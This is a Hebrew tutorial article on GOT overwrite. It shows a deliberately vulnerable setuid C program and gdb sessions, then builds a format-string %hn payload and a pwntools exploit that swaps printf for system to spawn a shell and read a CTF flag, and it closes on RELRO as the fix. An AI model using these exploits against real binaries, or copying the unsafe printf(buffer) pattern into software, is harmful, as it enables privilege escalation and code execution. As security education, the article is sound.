digital whisper
Technologic Papers

Overwriting the Global Offset Table

מאת דור גרסון

הקדמה

GOT Overwrite הינה טכניקה פופולארית בתחום ה-Binary Exploitation לשינוי או חטיפה (hijacking) של זרם הריצה של binaries במערכות Unix. במאמר נדבר על מה היא בכלל ה-Global Offset Table, איך נראה מהלך השימוש בה וכיצד נוכל לנצל חולשת format string לשכתוב הטבלה ולהשגת shell. ניסיון עם gdb ו-pwntools מומלץ להבנה טובה של המאמר.

פוסט-הקדמה

בעולם פיתח התוכנה, קיימים שני סוגים של קבצים הרצה בינארים, כאלה המקושרים סטאטית (statically linked) וכאלה המקושרים דינאמית (linked dynamically). בקצרה, קבצים מקושרים סטאטית מקומפלים יחד עם כל הקוד הדרוש לריצה שלהם, כך שהם לא תלויים בספריות חיצוניות. קבצים המקושרים דינאמית (ברירת המחדל עבור מרבית הקומפיילרים), מתבססים על ספריות חיצוניות המספקות את רוב הפונקציונליות שלהם.

בזמן הקימפול, רק שמות הספריות מהוות חלק מהבינארי, ורק בזמן הריצה הספריות נטענות לזיכרון. באופן כללי יהיה עותק אחד בלבד של ספרייה בזיכרון כך שאם הספרייה כבר קיימת בזיכרון, ה-time load יפחת. בעצם, כש-binary משתמש בפונקציה כמו printf כדי להדפיס משהו, בפועל המימוש של הפונקציה נמצא ב-System C Libary (לרוב libc.so.6) ולא בבינארי עצמו. בכדי לקרוא לפונקציות הללו התוכנית צריכה לדעת את הכתובות שלהן, בעוד טכנית אפשרי לכתוב את הכתובות ישירות ל-raw binary, זה בעייתי ממספר סיבות כשהמרכזיות שבהן:

1. בכל פעם שהספרייה תשתנה/תתעדכן, יידרש לבנות מחדש כל בינארי במערכת שמשתמש באותה ספריה, אולי זה מלהיב משתמשי Gentoo אבל לשאר מבינינו זה לא פרקטי.
2. כחלק ממנגנון ASLR ספריות נטענות למיקום שונה בין ריצה לריצה (כתובת הבסיס משתנה) , שימוש ב-hardcoded addresses יהפוך זאת לבלתי אפשרי.

לכן, נעשה שימוש בשיטה המאפשרת למצוא את כתובות הפונקציות בזמן הריצה של התוכנית. מוכרת גם כ-relocations ומאפשרת ליצור קוד עצמאי שיכול לרוץ ללא תלות בכתובת אליה נטען בתהליך (Position Independent Code). העבודה הזאת מבוצעת על ידי ה-dynamic linker (או ld-linux.so.). הלינקר הוא הראשון לרוץ, לפני כל קוד שקיים בבינארי. אבסטרקטי לחלוטין מהמשתמש על ידי הקרנל.

Relocations

במבט על קובץ ELF תגלו שיש כמות מכובדת של sections, נתחיל בלדבר בקצרה על אילו שרלוונטים לתהליך ה-Relocations ולאחר מכן נראה איך נעשה בהם שימוש בפועל.

.got - המערך/טבלה שתכיל מצביעים לפונקציות לאחר שה-dynamic linker מוצא את הכתובות שלהן בזמן הריצה, נובע מכך שמדובר בזיכרון ניתן לכתיבה. קיצור ל-global offset table.

.plt - טבלה לקריאה בלבד, מורכבת מ-stub עבור כל פונקציה שהכתובת שלה לא ידועה בזמן הריצה. ה-stub (רוטינה קצרה) מחפש את הכתובת ב-got.plt., ובהתאם או שקופץ לכתובת או שמפעיל רוטינה של ה-linker לחיפוש הכתובת (יקרה בפעם הראשונה שהפונקציה נקראת) קיצור ל-Procedure Linkage Table

.got.plt - ה-GOT עבור ה-plt, עבור כל פונקציה הנמצאת ב-plt יכלול את הכתובת המתאימה (אחרי שנכתבה על ידי ה-linker בזמן הריצה) או כתובת חזרה אל ה-plt (ההוראה הבאה ב-stub) שתוביל להרצת הרוטינה של ה-linker למציאת הכתובת. בצורה הקלאסית ה-got.plt. מהווה חלק מה-GOT.

.plt.got - נראה שהם רצו כל קומבינציה של got ו-plt. מבלי לחרוג יותר מדי מנושא המאמר, ה-plt. בשימוש כאשר מתאפשר Lazy Binding (חיפוש הכתובת עבור פונקציה מתבצע רק ברגע שהיא נקראת ולא לפני כן). במידה ויש צורך בכתובת הפונקציה לפני כן יידרש Non Lazy Binding וקריאות לפונקציה יעברו דרך ה-plt.got. שבניגוד ל-stub ב-plt, יכלול jmp אחד בלבד, רק אל ה-GOT (הכתובת כבר נמצאת, אין צורך לדעת לחפש אותה).

איך זה נראה בפועל

נפתח את gdb ונעשה disassemble ל-main, אפשר לראות שאכן מתבצעת קריאה ל-puts@plt ולא אל-puts ישירות:

```
gdb) disassemble main
ump of assembler code for function main:
  0x0804840b <+0>:     lea    ecx,[esp+0x4]
  0x0804840f <+4>:     and    esp,0xfffffff0
  0x08048412 <+7>:     push   DWORD PTR [ecx-0x4]
  0x08048415 <+10>:    push   ebp
  0x08048416 <+11>:    mov    ebp,esp
  0x08048418 <+13>:    push   ecx
  0x08048419 <+14>:    sub    esp,0x4
  0x0804841c <+17>:    sub    esp,0xc
  0x0804841f <+20>:    push   0x80484c0
  0x08048424 <+25>:    call   0x80482e0 <puts@plt>
  0x08048429 <+30>:    add    esp,0x10
  0x0804842c <+33>:    mov    eax,0x0
  0x08048431 <+38>:    mov    ecx,DWORD PTR [ebp-0x4]
  0x08048434 <+41>:    leave
  0x08048435 <+42>:    lea    esp,[ecx-0x4]
  0x08048438 <+45>:    ret
```

נבחן את ה-plt stub עצמו ונראה שההוראה הראשונה היא jmp לכתובת מסוימת, על פי מה שלמדנו היא צפויה להיות ב-GOT.:

```
(gdb) x/3i 0x80482e0
   0x80482e0 <puts@plt>:        jmp    DWORD PTR ds:0x804a00c
   0x80482e6 <puts@plt+6>:      push   0x0
   0x80482eb <puts@plt+11>:     jmp    0x80482d0
```

נוודא זאת באמצעות objdump -R main שתציג לנו את ה-GOT entries ונראה שהקפיצה היא אכן לשם:

```
main:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
```

נקרא את הערך השמור בכתובת המתאימה ב-GOT כדי להבין את ה-flow טוב יותר ונראה כי הערך הוא פוינטר חזרה ל-plt, הגיוני, זו הפעם הראשונה בה הפונקציה נקראת . המשך ה-plt stub יקרא ל- dynamic linker כדי למצוא את הכתובת של puts.:

```
(gdb) x/wx 0x804a00c
0x804a00c:      0x080482e6
```

נציב breakpoint לאחר הקריאה ל-puts כדי לבחון את הערכים מחדש, ונריץ:

```
Dump of assembler code for function main:
   0x0804840b <+0>:     lea    ecx,[esp+0x4]
   0x0804840f <+4>:     and    esp,0xfffffff0
   0x08048412 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048415 <+10>:    push   ebp
   0x08048416 <+11>:    mov    ebp,esp
   0x08048418 <+13>:    push   ecx
   0x08048419 <+14>:    sub    esp,0x4
   0x0804841c <+17>:    sub    esp,0xc
   0x0804841f <+20>:    push   0x80484c0
   0x08048424 <+25>:    call   0x80482e0 <puts@plt>
   0x08048429 <+30>:    add    esp,0x10
   0x0804842c <+33>:    mov    eax,0x0
   0x08048431 <+38>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048434 <+41>:    leave
   0x08048435 <+42>:    lea    esp,[ecx-0x4]
   0x08048438 <+45>:    ret
End of assembler dump.
(gdb) break *0x08048429
Breakpoint 3 at 0x8048429
```

אנחנו רואים שה-GOT מצביע על כתובת אחרת הפעם, מחוץ לטווח הכתובות של ה-plt.:

```
(gdb) x/3i 0x80482e0
   0x80482e0 <puts@plt>:        jmp    DWORD PTR ds:0x804a00c
   0x80482e6 <puts@plt+6>:      push   0x0
   0x80482eb <puts@plt+11>:     jmp    0x80482d0
(gdb) x/wx 0x804a00c
0x804a00c:      0xb7e67cb0
(gdb)
```

נבדוק מהי הכתובת הזו ונראה שאכן הפעם ה-GOT מצביע לputs המקורית, הכתובת נמצאה בזמן הריצה:

```
(gdb) x/5i 0xb7e67cb0
   0xb7e67cb0 <_IO_puts>:       push   ebp
   0xb7e67cb1 <_IO_puts+1>:     mov    ebp,esp
   0xb7e67cb3 <_IO_puts+3>:     push   edi
   0xb7e67cb4 <_IO_puts+4>:     push   esi
   0xb7e67cb5 <_IO_puts+5>:     push   ebx
(gdb)
```

אז הבנו שה-GOT מהווה שומר מקום לכתובות הפונקציות בפועל, אם נוכל לשכתב entry של פונקציה נשיג הרצת קוד ויכולת לשנות את ה-flow של התוכנית. השיטה שנשתמש בה במאמר תנצל חולשת format strings (חולשה שיש עליה מאמר בפני עצמו מאת רזיאל בקר), אך בכל נדבר עליה בקצרה גם כאן.

Format strings vulnerability

```
#include <stdio.h>

int printf(const char *restrict format, ...);
int fprintf(FILE *restrict stream,
            const char *restrict format, ...);
int dprintf(int fd,
            const char *restrict format, ...);
int sprintf(char *restrict str,
            const char *restrict format, ...);
int snprintf(char *restrict str, size_t size,
            const char *restrict format, ...);
```

מתוך ה-man ש-printf אנחנו רואים שהפרמטר הראשון שהיא מקבלת הוא ה-format specifier, משמש כדי להדפיס ערכים מסוג מסוים, כלומר כדי להדפיס מחרוזת ב-C, השימוש ב-printf אמור להראות ככה:

```
printf("%s",buffer);
```

בעבור מרבית קבצי ההרצה, במיוחד כשמדובר ב-32 ביט הפרמטר ל-printf יועבר על המחסנית, ומשם printf תקרא אותו.

אז איפה הבעיה?

```
printf(buffer);
```

מפתחים לא תמיד שמים דגש על secure coding, וההבדל בין שתי השורות יכול להראות זניח עבורם, אז למה להוסיף עוד ארגומנט?

כפי שראינו בעמוד ה-man, הפרמטר הראשון ש-printf מקבלת הוא ה-format specfier. למרות שההבדל יכול להראות זניח, הקלט שלנו מועבר כארגומנט הראשון לפונקציה מה שמאפשר לנו ליצור mismatch בין כמות ה-specifiers אל כמות הארגומנטים שהועברו לפונקציה. printf מוצאת את הארגומנטים שלה על המחסנית ולכן כשנגדיר יותר specifiers מארגומנטים, ערכים נוספים מהמחסנית יודלפו.

איך זה מתקשר לשכתוב ה-GOT?

כאן נכנס הפורמט n%. על פי ההגדרה הוא מאפשר לנו לכתוב את מספר התווים שהודפסו אל כתובת מסוימת:

```
n       The number of characters written so far is stored into the
        integer pointed to by the corresponding argument.  That
        argument shall be an int *, or variant whose size matches
        the (optionally) supplied integer length modifier.  No
        argument is converted.  (This specifier is not supported
        by the bionic C library.)  The behavior is undefined if
        the conversion specification includes any flags, a field
        width, or a precision.
```

בעצם קלט של AAAA%n יוביל לכתיבה של "4" אל הארגומנט אליו n% מצביע, אבל איך נדע לאן n% מצביע במחסנית? (איפה נצטרך למקם את הכתובת שנרצה לשכתב) ? נוכל להעזר ב-$ כדי להגדיר את האלמנט הספציפי במחסנית אליו נרצה לכתוב, בשביל לגלות את האלמנט אליו נרצה לכתוב נצטרך להבין היכן הקלט שלנו ממוקם על המחסנית, שכן הקלט שלנו יורכב מהכתובת שנרצה לשכתב.

```
%<pos>$n
```

כאשר pos הוא מספר האלמנט על המחסנית, נעבור אל המימוש.

קוד המקור

```c
#include <stdio.h>
#include <string.h>

void vuln() {
    char buffer[300];

    while(1) {
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);
    }
}

int main() {
    setuid(0);
    setgid(0);

    vuln();

    return 0;
}
```

ללא ASLR (גם אם היה enabled היינו יכולים לנצל את חולשת ה-Format String ל-Info Leak):

```
┌──(root㉿kali)-[/home/kali/dw]
└─# checksec --file=got_overwrite
RELRO           STACK CANARY      NX            PIE       RPATH      RUNPATH      Symbols       FORTI
FY      Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE    No RPATH   No RUNPATH   71) Symbols     No0
```

Decompiling באמצעות Ghidra (למען ההגינות):

```c
void vuln(void)

{
  int in_GS_OFFSET;
  char local_13c [300];
  undefined4 local_10;

  local_10 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  do {
    fgets(local_13c,300,stdin);
    printf(local_13c);
  } while( true );
}
```

תוכנית פשוטה מאוד, מקבלת קלט אל buffer ומדפיסה את הקלט בלולאה אינסופית, החולשה קלה לזיהוי בשורה 9 בקוד מקור או 14 ב-ghidra. המטרה שלנו? לשכתב את הכתובת של printf אל הכתובת של system של libc כאשר ה-buffer שנעביר יהיה-/bin/sh, ולהשיג-Shell. אז בואו נתחיל!

כתיבת ה-Exploit

כפי שאמרנו נצטרך למצוא היכן ממוקם הקלט שלנו על המחסנית, כדי שנוכל להגדיר בעזרת $ ו-% לאן נרצה לכתוב. מכיוון שאנחנו שולטים בקלט, הוא יהווה את הכתובת של ה-entry של printf ב-GOT (הרי המטרה שלנו היא לגרום לקריאה של system ברגע ש-printf נקראת).

מציאת מיקום הקלט על המחסנית

נעשה זאת ידנית, בכל פעם נדפיס אלמנט מסוים על המחסנית בעזרת p, עד שיודפס הייצוג של הקלט שלנו:

```
┌──(kali㉿kali)-[~/dw]
└─$ ./got_overwrite
AAAA%6$p
AAAA0×f7fa000a
AAAA%5$p
AAAA0×70243525
AAAA%4$p
AAAA0×41414141
```

[האלמנט הרביעי במחסנית (ייצוג של A באסקי הוא 65, או 41 בבסיס 16)]

מציאת כתובות רלוונטיות

ספציפית, נצטרך את הכתובת של ה-GOT entry עבור printf ואת הכתובת של system, אז נפתח שוב את gdb. נעשה disassemble ל-vuln ונדפיס שוב את ה-plt stub של printf:

```
(gdb) disas vuln
Dump of assembler code for function vuln:
   0×080491a2 <+0>:     push   %ebp
   0×080491a3 <+1>:     mov    %esp,%ebp
   0×080491a5 <+3>:     push   %ebx
   0×080491a6 <+4>:     sub    $0×134,%esp
   0×080491ac <+10>:    call   0×80490e0 <__x86.get_pc_thunk.bx>
   0×080491b1 <+15>:    add    $0×2e4f,%ebx
   0×080491b7 <+21>:    mov    %gs:0×14,%eax
   0×080491bd <+27>:    mov    %eax,-0×c(%ebp)
   0×080491c0 <+30>:    xor    %eax,%eax
   0×080491c2 <+32>:    mov    -0×4(%ebx),%eax
   0×080491c8 <+38>:    mov    (%eax),%eax
   0×080491ca <+40>:    sub    $0×4,%esp
   0×080491cd <+43>:    push   %eax
   0×080491ce <+44>:    push   $0×12c
   0×080491d3 <+49>:    lea    -0×138(%ebp),%eax
   0×080491d9 <+55>:    push   %eax
   0×080491da <+56>:    call   0×8049040 <fgets@plt>
   0×080491df <+61>:    add    $0×10,%esp
   0×080491e2 <+64>:    sub    $0×c,%esp
   0×080491e5 <+67>:    lea    -0×138(%ebp),%eax
   0×080491eb <+73>:    push   %eax
   0×080491ec <+74>:    call   0×8049030 <printf@plt>
   0×080491f1 <+79>:    add    $0×10,%esp
   0×080491f4 <+82>:    jmp    0×80491c2 <vuln+32>
End of assembler dump.
(gdb) x/3i 0×8049030
   0×8049030 <printf@plt>:      jmp    *0×804c00c
   0×8049036 <printf@plt+6>:    push   $0×0
   0×804903b <printf@plt+11>:   jmp    0×8049020
```

הכתובת שנרצה לשכתב היא **0x804c00c.** יש מספר דרכים למצוא את הכתובת של system, כאן השתמשתי ב-gdb-pwndbg ב-p system:

```
pwndbg> p system
$1 = {int (const char *)} 0xf7dc7040 <__libc_system>
```

חשוב לציין שהדרך הזו עלולה לעשות בעיות ויותר מכך, היא לא רלוונטית כשאנחנו עובדים מול שרת מרוחק, גרסת ה-libc עליו עלולה להיות שונה, השיטה הטובה יותר היא להשתמש בחולשת ה-format string כדי להדליף כתובת של פונקציה מ-libc מהמחסנית, לחסר את האופסט של הפונקציה (מכתובת הבסיס של libc) מהכתובת שהדלפנו (נקבל את כתובת הבסיס של libc) ולהוסיף את האופסט של system. נעבור על השיטה בקצרה:

ראשית, אנחנו צריכים להדליף ערכים מהמחסנית, אפשר לעשות זאת ידנית או בעזרת ה-fuzzer הבא שמדפיס את מאה האלמנטים הראשונים על המחסנית:

```python
from pwn import *

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./got_overwite', checksec=False)

# Create process (level used to reduce noise)
p = process(level='error')

# Let's fuzz x values
for i in range(100):
    try:
        # Format the counter
        # e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int
        p.sendline('%{}$x'.format(i).encode())
        # Receive the response
        result = p.recvline().decode()
        # If the item from the stack isn't empty, print it
        if result:
            print(str(i) + ': ' + str(result).strip())
    except EOFError:
        pass
```

נריץ ונבחר באחד הערכים שנראה כמו כתובת ב-libc, נפתח pwndbg ונבדוק לאן הוא מצביע:

```
00:0000│  esp 0xffffd110 —▸ 0xffffd130 ◂— 0x1
01:0004│      0xffffd114 —▸ 0xf7fa0ff4 (_GLOBAL_OFFSET_TABLE_
02:0008│  ebp 0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7
03:000c│      0xffffd11c —▸ 0xf7da13b5 (__libc_start_call_mai
04:0010│      0xffffd120 —▸ 0xffffd3ad ◂— '/home/kali/dw/a.ou
05:0014│      0xffffd124 ◂— 0x70 /* 'p' */
06:0018│      0xffffd128 —▸ 0xf7ffcff4 (_GLOBAL_OFFSET_TABLE_
07:001c│      0xffffd12c —▸ 0xf7da13b5 (__libc_start_call_mai

 ▶ f 0 0x56556220 main+26
   f 1 0xf7da13b5 __libc_start_call_main+117
   f 2 0xf7da147f __libc_start_main+143
   f 3 0x565560b7 _start+39

pwndbg> x 0xf7fe9ff4
0xf7fe9ff4 <__libc_sigaction+20>:       0x8b000001
pwndbg> quit
```

ברגע שיש לנו כתובת, כל מה שאנחנו צריכים לעשות כדי להגיע ל-system זה לחסר מהכתובת את ה-offset של הפונקציה לכתובת הבסיס של libc ולהוסיף את ה-offset של system, כאמור הכתובת שנמצאה היא: f7dc7040. אבל איך נדע את האופסטים? לוקאלית נוכל למצוא אותם כך:

```
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
2166: 00047040    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
```

למקרה שאנחנו עובדים מול שרת מרוחק, נצטרך להבין מהי גרסת ה-libc עליו, נהוג להשתמש ב-Libc database בשם Blukat, להזין את הכתובת שהדלפנו לצד הסימבול הרלוונטי. ברוב המקרים יוחזרו מספר גרסאות אפשריות, לרוב האופסטים בינהן יהיו זהים, (במקרה שלא נצטרך לנסות עד שנצליח ☺).

מכשול

כשדיברנו על %n אמרנו כי הוא כותב את מספר התווים שהודפסו אל האלמנט אליו הוא מצביע, אנחנו צריכים לכתוב את הכתובת f7dc7040, זוהי כמות תווים עצומה להדפיס ל-stdout, יקח המון זמן. לכן במקום לכתוב long int בגודל ארבעה bytes, נכתוב שני short ints, כל אחד בגודל שני bytes. לשם כך נצטרך להשתמש ב-specifier אחר %hn.

הרכבת ה-payload

אנחנו רוצים לכתוב **0xf7dc7040** אל הכתובת **0x804c00c** (ה-entry של printf ב-got.). כפי שאמרנו נכתוב שני short integers, זה אומר:

- 0x0804c00c+2=0x0804c00e(high order) <- 0xf7dc (63452)
- 0x0804c00c (low order bytes) <- 0x7040 (28736)

נחשב את ה-padding שנצטרך להוסיף, החישוב יהיה הערך שאנחנו רוצים לכתוב, פחות כמות התווים שכבר הודפסו. נתחיל מה-low order bytes: 28728 = 8-28736 (כתבנו כבר שתי כתובות, כל אחת בגודל של ארבעה בתים). ובעבור ה-high order bytes: 34716 = 28736-63452 (28736 התווים ששימשו עבור ה-low order bytes). נחבר הכל יחד ונקבל את ה-payload הבא:

\x0c\xc0\x04\x08\x0e\xc0\x04\x08%28728x%4$hn%34716x%5$hn

- \X0c\xc0\x04\x08 (או 0x0804c00c), מצביע על ה-low order bytes
- \X0e\xc0\x04\x08 או 0x0804c00e, מצביע על ה-high order bytes

(הפוכות מטעמי endianness)

- %28728x - לכתיבת 28728 בתים על ה-stdout.
- %4$hn - יכתוב 28728 + 8(0x7040) לאלמנט הרביעי במחסנית(תחילת ה-payload שלנו)
- %34716x - לכתיבת 34716 בתים על ה-stdout
- %5$hn - יכתוב 8 + 28728 + 34716 (0xf7dc) לאלמנט החמישי במחסנית (high order)

נריץ ידנית:

```
┌──(root㉿kali)-[/home/kali/dw]
└─# python2 -c 'print("\x0c\xc0\x04\x08\x0e\xc0\x04\x08%28728x%4$hn%34716x%5$hn")' > payload

┌──(root㉿kali)-[/home/kali/dw]
└─# (cat payload ; cat) | ./got_overwrite
```

והשגנו shell!

```
                                                    f7fa1620
cat flag.txt
flag{50_7h475_h0w_w3_0v3rwr173_7h3_G0T}
echo goomba
goomba
```

ה-exploit שלנו (אפשר להתעלם מהחלק הראשון, template שאני משתמש בו כדי להחליף בקלות בין הרצה לוקאלית למרוחקת, השתמשתי ב-pwnlib.fmtstr בשביל אוטומציה, אך היינו יכולים להציב את הערכים המתאימים שמצאנו ידנית):

```
from pwn import *
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Function to be called by FmtStr
def send_payload(payload):
    io.sendline(payload)
    return io.recvline()

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './got_overwrite'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
io = start()

# Found manually (ASLR_OFF)
libc = elf.libc
libc.address = 0xf7d80000  # ldd got_overwrite

# Find the offset for format string write
format_string = FmtStr(execute_fmt=send_payload)
info("format string offset: %d", format_string.offset)

# Print address to overwrite (printf) and what we want to write (system)
info("address to overwrite (elf.got.printf): %#x", elf.got.printf)
info("address to write (libc.functions.system): %#x", libc.symbols.system)

# Overwrite printf() in GOT with Lib-C system()
# Found manually
format_string.write(0x0804c00c, p16(0x7040))  # Lower-order
format_string.write(0x0804c00e, p16(0xf7dc))  # Higher-orderSS
# Or automagically
# format_string.write(elf.got.printf, libc.symbols.system)
# Execute the format string writes
format_string.execute_writes()
```

נריץ - ושוב השגנו Shell ☺

```
    00000000  25 36 34 63  25 31 36 24  68 68 6e 25  34 38 63 25  │%64c│%16$│hhn%│48c%│
    00000010  31 37 24 68  68 6e 25 31  30 38 63 25  31 38 24 68  │17$h│hn%1│08c%│18$h│
    00000020  68 6e 25 32  37 63 25 31  39 24 68 68  6e 61 61 61  │hn%2│7c%1│9$hh│naaa│
    00000030  0c c0 04 08  0d c0 04 08  0e c0 04 08  0f c0 04 08  │····│····│····│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x10b bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 2c  │    │    │    │   ,│
    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000000d0  20 20 20 20  20 20 20 20  20 20 20 b1  20 20 20 20  │    │    │   ·│    │
    000000e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    000000f0  20 20 20 20  20 20 25 61  61 61 0c c0  04 08 0d c0  │    │  %a│aa··│····│
    00000100  04 08 0e c0  04 08 0f c0  04 08 0a                  │····│····│···│
    0000010b
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
    b'flag{50_7h475_h0w_w3_0v3rwr173_7h3_G0T}\n'
flag{50_7h475_h0w_w3_0v3rwr173_7h3_G0T}
$
```

ניצחון!

RELRO

מאחר שה-GOT ממוקמת במיקום ידוע מראש, כל תוכנית הכוללת חולשה שמאפשרת כתיבה של 4 בתים למקום כלשהו בזיכרון (דוגמת format string או int overflow שמוביל ל-out-of-bounds write), פגיעה ל-arbitrary code execution, בכדי להימנע מכך, צריך לוודא שה-dynamic linker מוצא את הכתובות של כל הפונקציות המקושרות דינאמית כבר בתחילת הריצה, ואז הופך את ה-GOT לקריאה בלבד.

הפיתרון הזה נקרא RELRO, קיצור ל-Relocation Read Only, ואפשר להשמיש אותו כאופציית קימפול לתוכנית. חשוב להבדיל בין Full RELRO אל-Partial RELRO, שכן Full RELRO הוא הפתרון שדיברנו עליו עכשיו, אך Partial RELRO (שזו האופציה הדיפולטית של gcc) כמעט ולא עושה הבדל מעבר ללהציב את ה-GOT לפני ה-bss בזיכרון כדי למנוע buffer overflows על משתנים גלובאלים.

סיכום

למרות שכביכול קיים פתרון, ישנה עדיין כמות משמעותית של חבילות קוד שמקומפלות ומופצות ללא full RELRO, נוסף על כך קימפול עם full RELRO מוביל ל-loading overhead לא תמיד טריוויאלי, ולכן גם בימים אלו הטכניקה פופולארית ואנו רואים מימושים שלה.

whoami

דור גרסון, בן 19 אוהב את תחומי ה-Binary Exploitation/Exploit-dev ו-RE, ו-ctf-ים באופן כללי, לכל שאלה מוזמנים לפנות אלי בלינקדאין:

https://www.linkedin.com/in/dor-gerson-b12782245

או במייל:

dor.gerson17@gmail.com